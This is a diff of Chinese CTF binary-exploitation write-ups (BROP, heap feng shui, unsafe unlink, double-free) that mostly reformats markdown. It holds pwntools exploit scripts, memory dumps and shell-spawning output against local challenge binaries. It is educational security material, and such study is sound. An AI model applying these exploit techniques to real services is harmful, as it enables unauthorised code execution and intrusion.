pwn +### pwn + ```python def pwn(): destroy(1) @@ -679,16 +706,19 @@ def pwn(): ``` Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py [+] Starting local process './gundam': pid 7264 [*] Switching to interactive mode $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -760,6 +790,6 @@ if __name__ == "__main__": pwn() ``` - ## 参考资料 -- https://ctftime.org/task/5924 + +- diff --git a/doc/6.1.1_pwn_hctf2016_brop.md b/doc/6.1.1_pwn_hctf2016_brop.md index f22fff4..3927215 100644 --- a/doc/6.1.1_pwn_hctf2016_brop.md +++ b/doc/6.1.1_pwn_hctf2016_brop.md @@ -5,11 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.1_pwn_hctf2016_brop) ## 题目复现 + 出题人在 github 上开源了代码,[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。如下: + ```C #include #include @@ -37,17 +38,23 @@ int check() { return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"); } ``` + 使用下面的语句编译,然后运行起来: -``` + +```text $ gcc -z noexecstack -fno-stack-protector -no-pie brop.c ``` + checksec 如下: -``` + +```text $ checksec -f a.out RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 a.out ``` + 由于 socat 在程序崩溃时会断开连接,我们写一个小脚本,让程序在崩溃后立即重启,这样就模拟出了远程环境 `127.0.0.1:10001`: + ```bash #!/bin/sh while true; do @@ -57,22 +64,26 @@ while true; do fi done ``` + 在一个单独的 shell 中运行它,这样我们就简单模拟出了比赛时的环境,即仅提供 ip 和端口。(不停地断开重连特别耗CPU,建议在服务器上跑) - ## BROP 原理及题目解析 + BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。这一概念是是在 2014 年提出的,论文和幻灯片在参考资料中。 实现这一攻击有两个必要条件: + 1. 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它 2. 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。 下面我们结合题目来讲一讲。 - ## 漏洞利用 -#### 栈溢出 + +### 栈溢出 + 首先是要找到栈溢出的漏洞,老办法从 1 个字符开始,暴力枚举,直到它崩溃。 + ```python def get_buffer_size(): for i in range(100): @@ -91,13 +102,17 @@ def get_buffer_size(): log.info("buffer size: %d" % buf_size) return buf_size ``` -``` + +```text [*] buffer size: 72 ``` + 要注意的是,崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72。该题并没有开启 canary,所以跳过爆破的过程。 -#### stop gadget +### stop gadget + 在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了: + ```python def get_stop_addr(buf_size): addr = 0x400000 @@ -121,13 +136,17 @@ def get_stop_addr(buf_size): log.info("Can't connect") addr -= 1 ``` + 由于我们在本地的守护脚本略简陋,在程序挂掉和重新启动之间存在一定的时间差,所以这里 `sleep(0.1)` 做一定的缓冲,如果还是冲突,在 `except` 进行处理,后面的代码也一样。 -``` + +```text [*] stop address: 0x4005e5 ``` -#### common gadget +### common gadget + 有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget(有关该内容请参见章节4.7): + ```python def get_gadgets_addr(buf_size, stop_addr): addr = stop_addr @@ -167,16 +186,21 @@ def get_gadgets_addr(buf_size, stop_addr): log.info("Can't connect") addr -= 1 ``` + 直接从 stop gadget 的地方开始搜索就可以了。另外,找到一个正常返回的地址之后,需要进行检查,以确定是它确实是通用 gadget。 -``` + +```text [*] gadget address: 0x40082a ``` + 有了通用 gadget,就可以得到 `pop rdi; ret` 的地址了,即 gadget address + 9。 -#### puts@plt +### puts@plt + plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。 这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便: + ```python def get_puts_plt(buf_size, stop_addr, gadgets_addr): pop_rdi = gadgets_addr + 9 # pop rdi; ret; @@ -207,12 +231,16 @@ def get_puts_plt(buf_size, stop_addr, gadgets_addr): log.info("Can't connect") addr -= 1 ``` + 这里让 puts 打印出 `0x400000` 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 `\x7fELF`,方便进行验证。 -``` + +```text [*] puts@plt address: 0x4005e7 ``` + 成功找到一个地址,它确实调用 puts,打印出了 `\x7fELF`,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。 -``` + +```text gdb-peda$ disassemble /r 0x4005f0 Dump of assembler code for function puts@plt: 0x00000000004005f0 <+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018 @@ -220,8 +248,10 @@ Dump of assembler code for function puts@plt: 0x00000000004005fb <+11>: e9 e0 ff ff ff jmp 0x4005e0 End of assembler dump. ``` + 不对呀,puts@plt 明明是在 `0x4005f0`,那么 `0x4005e7` 是什么鬼。 -``` + +```text gdb-peda$ pdisass /r 0x4005e7,0x400600 Dump of assembler code from 0x4005e7 to 0x400600: 0x00000000004005e7: 25 24 0a 20 00 and eax,0x200a24 @@ -231,10 +261,13 @@ Dump of assembler code from 0x4005e7 to 0x400600: 0x00000000004005fb : e9 e0 ff ff ff jmp 0x4005e0 End of assembler dump. ``` + 原来是由于反汇编时候的偏移,导致了这个问题,当然了前两句对后面的 puts 语句并没有什么影响,忽略它,在后面的代码中继续使用 `0x4005e7`。 -#### remote dump +### remote dump + 有了 puts,有了 gadget,就可以着手 dump 程序了: + ```python def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr): pop_rdi = gadgets_addr + 9 # pop rdi; ret @@ -265,13 +298,16 @@ def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_add log.info("Can't connect") return result ``` + 我们知道 puts 函数通过 `\x00` 进行截断,并且会在每一次输出末尾加上换行符 `\x0a`,所以有一些特殊情况需要做一些处理,比如单独的 `\x00`、`\x0a` 等,首先当然是先去掉末尾 puts 自动加上的 `\n`,然后如果 recv 到一个 `\n`,说明内存中是 `\x00`,如果 recv 到一个 `\n\n`,说明内存中是 `\x0a`。`p.recv(timeout=0.1)` 是由于函数本身的设定,如果有 `\n\n`,它很可能在收到第一个 `\n` 时就返回了,加上参数可以让它全部接收完。 这里选择从 `0x400000` dump到 `0x401000`,足够了,你还可以 dump 下 data 段的数据,大概从 `0x600000` 开始。 -#### puts@got +### puts@got + 拿到 dump 下来的文件,使用 Radare2 打开,使用参数 `-B` 指定程序基地址,然后反汇编 `puts@plt` 的位置 `0x4005e7`,当然你要直接反汇编 `0x4005f0` 也行: -``` + +```text $ r2 -B 0x400000 code.bin [0x00400630]> pd 14 @ 0x4005e7 :::: 0x004005e7 25240a2000 and eax, 0x200a24 @@ -289,9 +325,11 @@ $ r2 -B 0x400000 code.bin : 0x00400626 6803000000 push 3 ; 3 `=< 0x0040062b e9b0ffffff jmp 0x4005e0 ``` + 于是我们就得到了 puts@got 地址 `0x00601018`。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。 -#### attack +### attack + 后面的过程和无 libc 的利用差不多了,先使用 puts 打印出其在内存中的地址,然后在 libc-database 里查找相应的 libc,也就是目标机器上的 libc,通过偏移计算出 `system()` 函数和字符串 `/bin/sh` 的地址,构造 payload 就可以了。 ```python @@ -314,20 +352,24 @@ def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got): return data ``` -``` + +```text [*] puts address: 0x7ffff7a90210 ``` 这里插一下 [libc-database](https://github.com/niklasb/libc-database) 的用法,由于我本地的 libc 版本比较新,可能未收录,就直接将它添加进去好了: -``` -$ ./add /usr/lib/libc-2.26.so + +```text +$ ./add /usr/lib/libc-2.26.so Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570 /usr/lib/libc-2.26.so) -> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so -> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols -> Writing version info ``` + 然后查询(ASLR 并不影响后 12 位的值): -``` + +```text $ ./find puts 210 /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570) $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 @@ -363,16 +405,19 @@ p.interactive() ``` Bingo!!! -``` -$ python2 exp.py + +```text +$ python2 exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python from pwn import * @@ -593,7 +638,7 @@ p.sendline(payload) p.interactive() ``` - ## 参考资料 + - [Blind Return Oriented Programming (BROP)](http://www.scs.stanford.edu/brop/) - [Blind Return Oriented Programming (BROP) Attack (1)](http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/) diff --git a/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md b/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md index a92e84c..21b9cbc 100644 --- a/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md +++ b/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.20_pwn_33c3ctf2016_babyfengshui) ## 题目复现 -``` -$ file babyfengshui + +```text +$ file babyfengshui babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped $ checksec -f babyfengshui RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,11 +19,13 @@ $ strings libc-2.19.so | grep "GNU C" GNU C Library (Debian GLIBC 2.19-18+deb8u6) stable release version 2.19, by Roland McGrath et al. Compiled by GNU CC version 4.8.4. ``` + 32 位程序,开启了 canary 和 NX。 在 Ubuntu-14.04 上玩一下,添加 user 和显示 user: -``` -$ ./babyfengshui + +```text +$ ./babyfengshui 0: Add a user 1: Delete a user 2: Display a user @@ -44,8 +46,10 @@ index: 0 name: AAAA description: aaaa ``` + 对于 description 的调整只能在最大长度的范围内,否则程序退出: -``` + +```text 0: Add a user 1: Delete a user 2: Display a user @@ -57,11 +61,12 @@ text length: 20 my l33t defenses cannot be fooled, cya! ``` - ## 题目解析 -#### Add a user -``` -[0x080485c0]> pdf @ sub.malloc_816 + +### Add a user + +```text +[0x080485c0]> pdf @ sub.malloc_816 / (fcn) sub.malloc_816 239 | sub.malloc_816 (int arg_8h); | ; var int local_1ch @ ebp-0x1c @@ -139,9 +144,11 @@ my l33t defenses cannot be fooled, cya! | `-> 0x08048903 leave \ 0x08048904 ret ``` + 函数首先分配一个 description 的最大空间,然后分配 user 结构体空间,并将 user 放到 store 数组中,最后调用更新 description 的函数。 user 结构体和 store 数组如下: + ```c struct user { char *desc; @@ -150,11 +157,13 @@ struct user { struct user *store[50]; ``` + store 放在 `0x804b080`,当前 user 个数 user_num 放在 `0x804b069`。 -#### Delete a user -``` -[0x080485c0]> pdf @ sub.free_905 +### Delete a user + +```text +[0x080485c0]> pdf @ sub.free_905 / (fcn) sub.free_905 138 | sub.free_905 (int arg_8h); | ; var int local_1ch @ ebp-0x1c @@ -207,13 +216,15 @@ store 放在 `0x804b080`,当前 user 个数 user_num 放在 `0x804b069`。 | `-> 0x0804898d leave \ 0x0804898e ret ``` + 删除的过程将 description 和 user 依次释放,并将 store[i] 置为 0。 但是 user->desc 没有被置为 0,user_num 也没有减 1,似乎可能导致 UAF,但不知道怎么用。 -#### Display a user -``` -[0x080485c0]> pdf @ sub.name:__s_98f +### Display a user + +```text +[0x080485c0]> pdf @ sub.name:__s_98f / (fcn) sub.name:__s_98f 136 | sub.name:__s_98f (int arg_8h); | ; var int local_1ch @ ebp-0x1c @@ -267,11 +278,13 @@ store 放在 `0x804b080`,当前 user 个数 user_num 放在 `0x804b069`。 | `-> 0x08048a15 leave \ 0x08048a16 ret ``` + 函数首先判断 store[i] 是否存在,如果是,就打印出 name 和 description。 -#### Update a user description -``` -[0x080485c0]> pdf @ sub.text_length:_724 +### Update a user description + +```text +[0x080485c0]> pdf @ sub.text_length:_724 / (fcn) sub.text_length:_724 242 | sub.text_length:_724 (int arg_8h); | ; var int local_1ch @ ebp-0x1c @@ -358,17 +371,19 @@ store 放在 `0x804b080`,当前 user 个数 user_num 放在 `0x804b069`。 | `-> 0x08048814 leave \ 0x08048815 ret ``` + 该函数读入新的 text_size,并使用 `(store[i]->desc + test_size) < (store[i] - 4)` 的条件来防止堆溢出,最后读入新的 description。 然而这种检查方式是有问题的,它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。 - ## 漏洞利用 + 所以我们首先添加两个 user,用于绕过检查。第 3 个 user 存放 "/bin/sh"。然后删掉第 1 个 user,并创建一个 description 很长的 user,其长度是第 1 个 user 的 description 长度加上 user 结构体长度。这时候检查就绕过了,我们可以在添加新 user 的时候修改 description 大小,造成堆溢出,并修改第 2 个 user 的 user->desc 为 `free@got.plt`,从而泄漏出 libc 地址。得到 system 地址后,此时修改第 2 个 user 的 description,其实是修改 free 的 GOT,所以我们将其改成 `system@got.plt`。最后删除第 3 个 user,触发 system('/bin/sh'),得到 shell。 开启 ASLR。Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py [+] Starting local process './babyfengshui': pid 2269 [*] system address: 0xf75e23e0 [*] Switching to interactive mode @@ -376,8 +391,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -430,7 +447,7 @@ if __name__ == "__main__": io.interactive() ``` - ## 参考资料 -- https://ctftime.org/task/3282 -- https://github.com/bkth/babyfengshui + +- +- diff --git a/doc/6.1.21_pwn_hitconctf2016_secret_holder.md b/doc/6.1.21_pwn_hitconctf2016_secret_holder.md index e0aed4d..ed1c9cc 100644 --- a/doc/6.1.21_pwn_hitconctf2016_secret_holder.md +++ b/doc/6.1.21_pwn_hitconctf2016_secret_holder.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.21_pwn_hitconctf2016_secret_holder) ## 题目复现 -``` -$ file SecretHolder + +```text +$ file SecretHolder SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped $ checksec -f SecretHolder RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,10 +19,12 @@ $ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.3.1 20160413. ``` + 64 位程序,开启了 Canary 和 NX,默认开启 ASLR。 在 Ubuntu-16.04 上玩一下: -``` + +```text $ ./SecretHolder Hey! Do you have any secret? I can help you to hold your secrets, and no one will be able to see it :) @@ -35,7 +37,7 @@ Which level of secret do you want to keep? 2. Big secret 3. Huge secret 1 -Tell me your secret: +Tell me your secret: AAAA 1. Keep secret 2. Wipe secret @@ -46,7 +48,7 @@ Which Secret do you want to renew? 2. Big secret 3. Huge secret 1 -Tell me your secret: +Tell me your secret: BBBB 1. Keep secret 2. Wipe secret @@ -58,17 +60,19 @@ Which Secret do you want to wipe? 3. Huge secret 1 ``` + 该程序运行我们输入 small、big、huge 三种 secret,且每种 secret 只能输入一个。通过 Renew 可以修改 secret 的内容。Wipe 用于删除 secret。 猜测三种 secret 应该是有不同的 chunk 大小,但程序没有我们常见的打印信息这种选项来做信息泄漏。 - ## 题目解析 + 下面我们逐个来逆向这些功能。 -#### Keep secret -``` -[0x00400780]> pdf @ sub.Which_level_of_secret_do_you_want_to_keep_86d +### Keep secret + +```text +[0x00400780]> pdf @ sub.Which_level_of_secret_do_you_want_to_keep_86d / (fcn) sub.Which_level_of_secret_do_you_want_to_keep_86d 442 | sub.Which_level_of_secret_do_you_want_to_keep_86d (); | ; var int local_14h @ rbp-0x14 @@ -181,11 +185,13 @@ Which Secret do you want to wipe? | `-> 0x00400a25 leave \ 0x00400a26 ret ``` + 果然该函数使用 `calloc()` 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个,chunk 的指针放在 `.bss` 段上。另外其实读入 secret 的逻辑还是有问题的,它没有处理换行符,也没有在字符串末尾加 `\x00`。 -#### Wipe secret -``` -[0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_wipe_a27 +### Wipe secret + +```text +[0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_wipe_a27 / (fcn) sub.Which_Secret_do_you_want_to_wipe_a27 247 | sub.Which_Secret_do_you_want_to_wipe_a27 (); | ; var int local_14h @ rbp-0x14 @@ -256,11 +262,13 @@ Which Secret do you want to wipe? | `-> 0x00400b1c leave \ 0x00400b1d ret ``` + 该函数在释放 secret 时,首先将对应的 chunk 释放掉,然后设置 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。 -#### Renew secret -``` -[0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_renew_b1e +### Renew secret + +```text +[0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_renew_b1e / (fcn) sub.Which_Secret_do_you_want_to_renew_b1e 330 | sub.Which_Secret_do_you_want_to_renew_b1e (); | ; var int local_14h @ rbp-0x14 @@ -359,11 +367,13 @@ Which Secret do you want to wipe? | `-> 0x00400c66 leave \ 0x00400c67 ret ``` + 该函数首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。 - ## 漏洞利用 + 总结一下我们知道的东西: + - small secret: small chunk, 40 bytes - small_ptr: 0x006020b0 - small_flag: 0x006020c0 @@ -375,10 +385,12 @@ Which Secret do you want to wipe? - huge_flag: 0x006020bc 漏洞: + - double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk - use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用 有个问题是,400000 bytes 的 huge secret 连 top chunk 都不能满足,此时会调用 `sysmalloc()`,通过 `brk()` 或者 `mmap()` 为其分配空间,该函数首先判断是否满足 `mmap()` 的分配条件,即需求 chunk 的大小大于阀值 `mp_.mmap_threshold`,且此进程通过 `mmap()` 分配的总内存数量 `mp_.n_mmaps` 小于最大值 `mp_.n_mmaps_max`: + ```c /* If have mmap, and the request size meets the mmap threshold, and @@ -392,8 +404,10 @@ Which Secret do you want to wipe? && (mp_.n_mmaps < mp_.n_mmaps_max))) { ``` + 此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在释放由 `mmap()` 分配的 chunk 时,会动态调整阀值 `mp_.mmap_threshold` 来避免碎片化,使得下一次的分配时使用 `brk()`: -``` + +```text void __libc_free (void *mem) { @@ -415,7 +429,8 @@ __libc_free (void *mem) } ``` -#### unsafe unlink +### unsafe unlink + ```python def unlink(): keep(1) @@ -437,10 +452,12 @@ def unlink(): wipe(3) # unsafe unlink ``` + 因为在分配 large chunk 的时候,glibc 首先会调用函数 `malloc_consolidate()` 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置,当再次分配 small secret 的时候就造成了堆块重叠。 首先制造 double free: -``` + +```text gdb-peda$ x/5gx 0x006020a0 0x6020a0: 0x0000000000603010 0x0000000000603040 0x6020b0: 0x0000000000603010 0x0000000100000001 @@ -452,8 +469,10 @@ gdb-peda$ x/10gx 0x00603010-0x10 0x603030: 0x0000000000000000 0x0000000000061a91 <-- huge 0x603040: 0x0000000041414141 0x0000000000000000 ``` + 然后在 big secret 里布置一个 fake chunk: -``` + +```text gdb-peda$ x/5gx 0x006020a0 0x6020a0: 0x0000000000603010 0x0000000000603040 0x6020b0: 0x0000000000603010 0x0000000100000001 @@ -469,16 +488,20 @@ gdb-peda$ x/gx 0x00602098 + 0x18 gdb-peda$ x/gx 0x006020a0 + 0x10 0x6020b0: 0x0000000000603010 <-- P->bk->fd = P ``` + 释放 huge secret,即可触发 unsafe unlink: -``` + +```text gdb-peda$ x/6gx 0x00602098 0x602098: 0x0000000000000000 0x0000000000603010 0x6020a8: 0x0000000000603040 0x0000000000602098 <-- fake chunk ptr 0x6020b8: 0x0000000000000001 0x0000000000000001 ``` + 于是我们就获得了修改 `.bss` 段的能力。 -#### leak libc +### leak libc + ```python def leak(): global one_gadget @@ -501,7 +524,8 @@ def leak(): ``` 修改 big_ptr 指向 `free@got.plt`,small_ptr 指向 big_ptr: -``` + +```text gdb-peda$ x/6gx 0x00602098 0x602098: 0x4141414141414141 0x0000000000602018 0x6020a8: 0x4141414141414141 0x00000000006020a0 @@ -509,8 +533,10 @@ gdb-peda$ x/6gx 0x00602098 gdb-peda$ x/gx 0x00602018 0x602018 : 0x00007ffff7a91a70 ``` + 修改 `free@got.plt` 为 `puts@plt`,big_ptr 指向 `puts@got.plt`: -``` + +```text gdb-peda$ x/6gx 0x00602098 0x602098: 0x4141414141414141 0x0000000000602020 0x6020a8: 0x4141414141414141 0x00000000006020a0 @@ -520,9 +546,11 @@ gdb-peda$ x/gx 0x00602018 gdb-peda$ x/gx 0x00602020 0x602020 : 0x00007ffff7a7d5d0 ``` + 此时释放 big secret,其实就是 `puts(puts_addr)`,通过偏移计算即可得到 libc 基址和 one-gadget 地址。 -#### pwn +### pwn + ```python def pwn(): payload = "A" * 0x10 @@ -532,10 +560,12 @@ def pwn(): renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget io.interactive() ``` + 最后可以通过两次修改,将 `puts@got.plt` 修改为 one-gadget,获得 shell。 开启 ASLR,Bingo!!! -``` + +```text $ python exp.py [+] Starting local process './SecretHolder': pid 6979 [*] libc base: 0x7f34e24ae000 @@ -545,8 +575,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -628,6 +660,6 @@ if __name__ == "__main__": pwn() ``` - ## 参考资料 -- https://ctftime.org/task/2954 + +- diff --git a/doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md b/doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md index a03e4e8..00aa44e 100644 --- a/doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md +++ b/doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.22_pwn_hitconctf2016_sleepy_holder) ## 题目复现 -``` -$ file SleepyHolder + +```text +$ file SleepyHolder SleepyHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46f0e70abd9460828444d7f0975a8b2f2ddbad46, stripped $ checksec -f SleepyHolder RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,10 +19,12 @@ $ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.3.1 20160413. ``` + 64 位程序,开启了 Canary 和 NX,默认开启 ASLR。 在 Ubuntu-16.04 上玩一下: -``` + +```text $ ./SleepyHolder Waking Sleepy Holder up ... Hey! Do you have any secret? @@ -36,7 +38,7 @@ What secret do you want to keep? 2. Big secret 3. Keep a huge secret and lock it forever 1 -Tell me your secret: +Tell me your secret: AAAA 1. Keep secret 2. Wipe secret @@ -47,7 +49,7 @@ What secret do you want to keep? 2. Big secret 3. Keep a huge secret and lock it forever 3 -Tell me your secret: +Tell me your secret: CCCC 1. Keep secret 2. Wipe secret @@ -57,7 +59,7 @@ Which Secret do you want to renew? 1. Small secret 2. Big secret 1 -Tell me your secret: +Tell me your secret: BBBB 1. Keep secret 2. Wipe secret @@ -68,15 +70,17 @@ Which Secret do you want to wipe? 2. Big secret 1 ``` + 这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret,不同的是这里的 huge secret 是不可修改和删除的。 - ## 题目解析 + 下面我们逐个来逆向这些功能。 -#### Keep secret -``` -[0x00400850]> pdf @ sub.What_secret_do_you_want_to_keep_93d +### Keep secret + +```text +[0x00400850]> pdf @ sub.What_secret_do_you_want_to_keep_93d / (fcn) sub.What_secret_do_you_want_to_keep_93d 452 | sub.What_secret_do_you_want_to_keep_93d (); | ; var int local_14h @ rbp-0x14 @@ -193,6 +197,7 @@ Which Secret do you want to wipe? | `-> 0x00400aff leave \ 0x00400b00 ret ``` + 还是一样的,该函数使用 `calloc()` 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个。另外看函数开头部分,huge secret 显然受到了特殊处理。 - small secret: small chunk, 40 bytes @@ -205,9 +210,10 @@ Which Secret do you want to wipe? - huge_ptr: 0x006020c8 - huge_flag: 0x006020dc -#### Wipe secret -``` -[0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_wipe_b01 +### Wipe secret + +```text +[0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_wipe_b01 / (fcn) sub.Which_Secret_do_you_want_to_wipe_b01 207 | sub.Which_Secret_do_you_want_to_wipe_b01 (); | ; var int local_14h @ rbp-0x14 @@ -269,11 +275,13 @@ Which Secret do you want to wipe? | `-> 0x00400bce leave \ 0x00400bcf ret ``` + 该函数只能释放 small secret 和 big secret。释放的过程首先将对应的 chunk 释放掉,然后设置对应 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。 -#### Renew secret -``` -[0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_renew_bd0 +### Renew secret + +```text +[0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_renew_bd0 / (fcn) sub.Which_Secret_do_you_want_to_renew_bd0 259 | sub.Which_Secret_do_you_want_to_renew_bd0 (); | ; var int local_14h @ rbp-0x14 @@ -353,11 +361,13 @@ Which Secret do you want to wipe? | `-> 0x00400cd1 leave \ 0x00400cd2 ret ``` + 该函数只能对 small secret 和 big secret 进行修改,所以 huge secret 就是一次分配,永远存在且内容不可修改了。过程是首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。 - ## 漏洞利用 + 总结一下我们知道的东西: + - small secret: small chunk, 40 bytes - small_ptr: 0x006020d0 - small_flag: 0x006020e0 @@ -369,12 +379,14 @@ Which Secret do you want to wipe? - huge_flag: 0x006020dc 漏洞: + - double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk - use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用 看到这里该题与上一题的差别很明显了,就是我们没有办法再通过 `keep(huge) -> wipe(huge) -> keep(huge)` 来利用 `brk()` 分配内存,制造 unsafe unlink。 然后我们又在 `_int_malloc()` 中发现了另一个东西: + ```c static void* _int_malloc(mstate av, size_t bytes) @@ -396,7 +408,9 @@ _int_malloc(mstate av, size_t bytes) malloc_consolidate(av); } ``` + 当需求 chunk 是一个 large chunk 时,glibc 会将把 fastbins 中的 chunk 移除,设置 `PREV_INUSE` 为 0,合并 free chunk,然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk,由于大小不合适,这些 chunk 又被放到 small bin 中: + ```c /* place chunk in bin */ @@ -407,11 +421,13 @@ _int_malloc(mstate av, size_t bytes) fwd = bck->fd; } ``` + 这时就可以再次释放 small secret 而不触发 double-free 的检测。 那么为什么一定要将 small secret 放进 small bin 呢?因为当 chunk 被放进 small bin 时,会相应的修改 next chunk(即big secret)的 chunk header(设置prev_size,`PREV_INUSE`置0),而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins(这时small secret同时存在于fastbins和small bin中),再从 fastbins 中取出 small secret,原因和上面类似,从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。 -#### unsafe unlink +### unsafe unlink + ```python def unlink(): keep(1, "AAAA") # small @@ -428,8 +444,10 @@ def unlink(): wipe(2) # unsafe unlink ``` + 制造 double-free: -``` + +```text gdb-peda$ x/5gx 0x006020c0 0x6020c0: 0x0000000000603560 